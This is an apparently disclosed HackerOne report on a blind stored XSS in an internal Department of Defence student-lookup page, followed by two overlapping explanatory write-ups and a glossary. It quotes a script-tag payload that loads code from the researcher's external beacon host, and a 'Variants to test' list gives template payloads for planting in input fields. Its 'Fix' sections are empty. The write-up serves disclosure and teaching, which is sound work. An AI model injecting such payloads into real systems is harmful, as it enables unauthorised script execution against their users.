Blind Stored XSS on the internal host - █████████████
An attacker's external host received a request from an internal system, indicating that a stored cross-site scripting payload was triggered when a student lookup page was loaded. The attacker could not confirm the exact entry point but suspected the payload was stored in student data.
- Triaged in 13 hours
- Fixed in 8 months
- Disclosed after 4.1 years
##Description
Hello. I often use mine xp.ht host as a beacon for SSRF/XSS payloads, and today one was triggered from the https://███████████████/NSSI/controlcenterV2/index.htm?directlink&courses/classes/findstudent&&&&&&&& endpoint (it was found in the Referer header)
This domain isn't resolvable from outside, so I assume the request came from host in the internal network, connected to extranet.
##POC
███████
Sadly, I'm not sure where is exactly the entry point was for the payload - only the vulnerable URL where it triggered the pingback to my host.
The GET /?_=1594756841631 indicated that payload is likely reside in HTML source, and was triggered during student lookup (perhaps there is payload somewhere in the student data containing <script src=//xp.ht></script> or similar).
You may need to confirm this with system owner first since I don't have enough details to confirm it from my side since vulnerable host is internal.
Impact
Blind Stored XSS on the internal host.
Context
The target is a U.S. Department of Defence system, reported through HackerOne and disclosed on 16 August 2024. The vulnerable endpoint sits on an internal host that is not resolvable from the public internet:
https://███████████████/NSSI/controlcenterV2/index.htm?directlink&courses/classes/findstudent&&&&&&&&
The path suggests a control centre front end (controlcenterV2) with a student lookup feature (courses/classes/findstudent). The report does not describe the product further, so what the feature normally does beyond looking up students is not stated.
Setup
The researcher did not need an account on the target for the detection itself. The only infrastructure involved was a host under the researcher's control, xp.ht, which they routinely use as a beacon for SSRF and XSS payloads. The precondition for the finding is that the internal application can make outbound requests to an attacker-controlled domain, which is what allows a blind payload to report back.
Finding it
The researcher's beacon host received a hit that originated from the internal endpoint above. The internal endpoint URL was found in the Referer header of the request that reached xp.ht.
Because the domain is not resolvable from outside, the researcher reasoned that the request came from a host on the internal network connected to the extranet. That is the core of the finding: an internal-only application was executing or loading attacker-influenced content and reaching out to the internet.
Exploitation
Step 1: Observe the callback
The beacon on xp.ht was triggered from the internal URL. The report does not include the raw callback request, only the fact that it arrived and that the internal URL appeared in the Referer header.
Step 2: Read the callback path
The callback included this request path:
GET /?_=1594756841631
The _ parameter with a millisecond-style timestamp is characteristic of a jQuery cache-busting parameter. The researcher took this as an indication that the payload most likely resides in the HTML source of the page, rather than in a resource loaded separately, and that it was triggered during the student lookup.
Step 3: Infer the payload shape
Based on the above, the researcher hypothesised that a payload such as the following was stored somewhere in the student data:
<script src=//xp.ht></script>
This is presented as a guess, not as a confirmed payload. The researcher explicitly states they are not sure where exactly the entry point was, and that only the vulnerable URL where the pingback triggered is known.
Step 4: Confirm with the owner
The researcher notes that confirmation would need to come from the system owner, because the vulnerable host is internal and they did not have enough detail to confirm the entry point from their side.
Root cause
The report does not identify the code responsible. The evidence suggests the student lookup page may have rendered stored data containing a script reference, which the researcher offered as a guess. The exact sink, encoding and any output-context defences are not described, so the specific mistake is likely an unescaped output of student-supplied or student-related data into the HTML of the lookup page.
Impact
The impact as stated is blind stored XSS on the internal host. An attacker who can place data into the student records could have script run in the browser of an internal user performing a student lookup, with the internal application's origin. The researcher hedges this appropriately: the entry point was not confirmed, and validation depends on the system owner. The report does not describe what actions the script could take, what data it could reach, or which users were affected.
Fix
Variants to test
- Lookup and search screens that render stored records: submit a value containing
<script src=//your-host></script>and watch for a callback. A positive result is a request to your host with the internal page URL in theReferer. - Fields that feed into HTML source rather than attributes: try both a script tag and an event handler, and check whether the callback path looks like a jQuery cache-buster (
?_=<timestamp>), which suggests the payload landed in the page HTML. - Internal-only applications reachable through an extranet: use a beacon host you control and treat any outbound hit as a signal, even without seeing the response.
Hunting notes
This kind of bug tends to hide in administrative and internal applications that are not directly reachable, where stored data from one feature (here, student records) is rendered in another (the lookup page). During recon, the useful signal is outbound traffic from internal hosts to a domain you control: set up a beacon and use it in payloads across input fields, then correlate the Referer with the internal URL. The researcher demonstrated a callback from an internal host and was explicit about the limits of the evidence, recommending confirmation with the system owner.
What happened, in plain words
A security researcher received a callback from a web page on an internal Department of Defence system, suggesting it may have loaded content from their host. The page was not reachable from the public internet, so the researcher could not see it directly. Instead, they used a trick: they set up a website of their own, xp.ht, and waited for the internal page to contact it. When it did, the researcher knew something on the internal side had contacted their site. The report calls this a blind stored cross-site scripting (XSS) vulnerability. "Blind" means the attacker cannot see the result directly, only indirect signals. "Stored" means the malicious content was saved somewhere (likely in student data) and later shown to someone using the internal system. The researcher could not confirm exactly where the malicious content was entered, so they recommended checking with the system owner.
Context
The target is a U.S. Department of Defence system, reported through HackerOne and disclosed on 16 August 2024. The vulnerable endpoint sits on an internal host that is not resolvable from the public internet:
https://███████████████/NSSI/controlcenterV2/index.htm?directlink&courses/classes/findstudent&&&&&&&&
This is a URL. The part https:// means it uses a secure connection. The ███████████████ is a redacted hostname, hidden to protect the internal system. The path /NSSI/controlcenterV2/index.htm suggests a control centre front end (version 2). The query string ?directlink&courses/classes/findstudent&&&&&&&& looks like parameters that tell the page to go directly to a student lookup feature (courses/classes/findstudent). The report does not describe the product further, so what the feature normally does beyond looking up students is not stated.
Setup
The researcher did not need an account on the target for the detection itself. The only infrastructure involved was a host under the researcher's control, xp.ht, which they routinely use as a beacon for SSRF and XSS payloads. A beacon is a server that logs any request it receives, so you can tell when something contacts it. SSRF (Server-Side Request Forgery) is a vulnerability where a server can be tricked into making requests to arbitrary destinations. XSS (Cross-Site Scripting) is a vulnerability where an attacker can inject scripts into a web page viewed by others. The precondition for the finding is that the internal application can make outbound requests to an attacker-controlled domain, which is what allows a blind payload to report back.
Finding it
The researcher's beacon host received a hit that originated from the internal endpoint above. The internal endpoint URL was found in the Referer header of the request that reached xp.ht. That means the internal page caused the browser to request something from xp.ht.
Because the domain is not resolvable from outside, the researcher reasoned that the request came from a host on the internal network connected to the extranet. An extranet is a network that extends an organisation's internal network to outside parties, but here it likely means the internal network is connected to the internet in some way. That is the core of the finding: an internal-only application was executing or loading attacker-influenced content and reaching out to the internet.
Exploitation
Step 1: Observe the callback
The beacon on xp.ht was triggered from the internal URL. The report does not include the raw callback request, only the fact that it arrived and that the internal URL appeared in the Referer header. A callback is when a server or browser contacts a URL you control, often as a side effect of an attack.
Step 2: Read the callback path
The callback included this request path:
GET /?_=1594756841631
This is an HTTP request line. GET is the method used to fetch a resource. The path is /?_=1594756841631. The _ parameter with a millisecond-style timestamp (1594756841631 looks like a Unix timestamp in milliseconds) is characteristic of a jQuery cache-busting parameter. jQuery is a popular JavaScript library. Cache-busting means adding a unique value to a URL so the browser does not use a cached copy. The researcher took this as an indication that the payload most likely resides in the HTML source of the page, rather than in a resource loaded separately, and that it was triggered during the student lookup. HTML source is the code that makes up the web page.
Step 3: Infer the payload shape
Based on the above, the researcher hypothesised that a payload such as the following was stored somewhere in the student data:
<script src=//xp.ht></script>
This is an HTML script tag. It tells the browser to load and run a script from the address //xp.ht. The // means use the same protocol as the current page (likely HTTPS). So if this tag appears in a page, the browser will request a script from xp.ht. The researcher presents this as a guess, not as a confirmed payload. They explicitly state they are not sure where exactly the entry point was, and that only the vulnerable URL where the pingback triggered is known. A pingback is the callback we described earlier.
Step 4: Confirm with the owner
The researcher notes that confirmation would need to come from the system owner, because the vulnerable host is internal and they did not have enough detail to confirm the entry point from their side.
Root cause
The report does not identify the code responsible. The evidence suggests the student lookup page may have rendered stored data containing a script reference, which the researcher offered as a guess. Neutralising means escaping or encoding special characters so they are displayed as text, not interpreted as code. The exact sink (the place where data is output), encoding and any output-context defences are not described, so the specific mistake is likely an unescaped output of student-supplied or student-related data into the HTML of the lookup page.
Impact
The impact as stated is blind stored XSS on the internal host. An attacker who can place data into the student records could have script run in the browser of an internal user performing a student lookup, with the internal application's origin. Origin is the combination of protocol, host and port that identifies a website. The researcher hedges this appropriately: the entry point was not confirmed, and validation depends on the system owner. The report does not describe what actions the script could take, what data it could reach, or which users were affected.
Fix
Context-encoding means converting characters like < and > into HTML entities so they are not treated as code. Content Security Policy (CSP) is a browser feature that lets a site declare which sources of scripts are allowed.
Variants to test
- Lookup and search screens that render stored records: submit a value containing
<script src=//your-host></script>and watch for a callback. A positive result is a request to your host with the internal page URL in theReferer. - Fields that feed into HTML source rather than attributes: try both a script tag and an event handler, and check whether the callback path looks like a jQuery cache-buster (
?_=<timestamp>), which suggests the payload landed in the page HTML. An event handler is an attribute likeonclickthat runs JavaScript when an event occurs. - Internal-only applications reachable through an extranet: use a beacon host you control and treat any outbound hit as a signal, even without seeing the response.
Hunting notes
This kind of bug tends to hide in administrative and internal applications that are not directly reachable, where stored data from one feature (here, student records) is rendered in another (the lookup page). During recon, the useful signal is outbound traffic from internal hosts to a domain you control: set up a beacon and use it in payloads across input fields, then correlate the Referer with the internal URL. The researcher demonstrated a callback from an internal host and was explicit about the limits of the evidence, recommending confirmation with the system owner.
Glossary
- Beacon: A server you control that logs incoming requests, used to detect when a target contacts it.
- Blind XSS: Cross-site scripting where the attacker cannot see the result directly, only indirect signals like callbacks.
- Cache-busting: Adding a unique parameter to a URL to prevent the browser from using a cached copy.
- Callback: A request made by a target to a URL you control, often as a side effect of an attack.
- Content Security Policy (CSP): A browser security feature that restricts which sources of content (like scripts) a page can load.
- Context-encoding: Converting special characters to safe representations (like HTML entities) so they are not interpreted as code.
- Cross-Site Scripting (XSS): A vulnerability where an attacker injects scripts into a web page viewed by others.
- Event handler: An attribute in HTML (like
onclick) that runs JavaScript when a specific event occurs. - Extranet: A network that extends an organisation's internal network to outside parties.
- GET: An HTTP method used to request a resource.
- HTML source: The code that makes up a web page.
- HTTP header: Additional information sent with an HTTP request or response, such as
Referer. - jQuery: A JavaScript library that simplifies HTML document traversal and manipulation.
- Origin: The combination of protocol, host and port that identifies a website.
- Payload: The malicious code or data used in an attack.
- Pingback: A callback, especially one used to detect a blind vulnerability.
- Referer header: An HTTP header that indicates the page from which a request was made.
- Server-Side Request Forgery (SSRF): A vulnerability where a server can be tricked into making requests to arbitrary destinations.
- Sink: The point in code where data is output or used, potentially without proper sanitisation.
- Stored XSS: Cross-site scripting where the malicious script is saved on the server and later served to other users.
- Unix timestamp: A way to represent time as the number of seconds (or milliseconds) since 1 January 1970.